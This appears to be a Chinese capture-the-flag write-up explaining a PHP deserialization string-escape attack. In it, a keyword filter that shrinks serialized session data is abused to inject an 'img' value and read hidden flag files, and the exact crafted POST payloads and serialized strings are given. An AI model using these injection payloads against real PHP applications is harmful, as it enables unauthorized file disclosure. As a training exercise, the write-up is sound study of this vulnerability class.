开头即可拿到源码
然后提示phpinfo phpinfo
将其base64
代码最后一行有一个file_get_contents是能够读取文件的函数,他这里读取的是base64解密的’img’,往前找这个’img’
一个函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,就是数组里提到的’php’,’flag’,’php5’,’php4’,’fl1g’都会被空格替代,而这层过滤函数会干扰序列化后的数据。
在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,
特点一
例如:
string(6) "aaaaaa" [1]=> string(3) "aaa" }
序列化如果增加或删除str的任何一个字符会导致序列化失败,但是如果在str末尾大括号外加上东西就还是可以序列出来
1 2 3 4 5 6 7
| <?php $str='a:2:{i:0;s:6:"aaaaaa";i:1;s:3:"aaa";}aaa'; var_dump(unserialize($str));
<?php $str='a:2:{i:0;s:6:"aaaaaa";i:1;s:3:"aaa";}'; var_dump(unserialize($str));
|
反序列化识别有一定范围,范围外都会忽略但是不影响反序列化结果
**特点二:**
1 2 3 4 5
| <?php $_SESSION["user"]='flagflagflagflag'; $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}'; $_SESSION["img"]='asdasdasd'; echo serialize($_SESSION);
|
输出:
a:3:{s:4:"user";s:16:"flagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";}
**这题存在过滤机制将flag过滤成空格**
a:3:{s:4:"user";s:16:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";}
替换为空之后会向后再读取16个将其当作s:16:" " 的内容;s:8:"function"; 但是这样无法读取到img的内容
这边这个十六就得改成24 ;s:8:"function";s:59:"a" 恰好到分号的位置
序列改成:a:3{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";}
而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:
$_SESSION["user"]='";s:8:"function";s:59:"a";
$_SESSION["img"]="ZDBnM19mMWFnLnBocA=="
$_SESSION["aa"]="s"
这样seeeion数组的键值img对应的值发生改变
那么可以控制原来的session数组的function的值但无法控制,但这个方法就可以旁敲侧击的控制img的值,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。
get:f=show_image
post: _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然后大概就知道flag在哪了_
base64一下 然后替换掉ZD
![10.PNG](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/10.PNG?raw=true)
POST:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
![12.PNG](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/12.PNG?raw=true)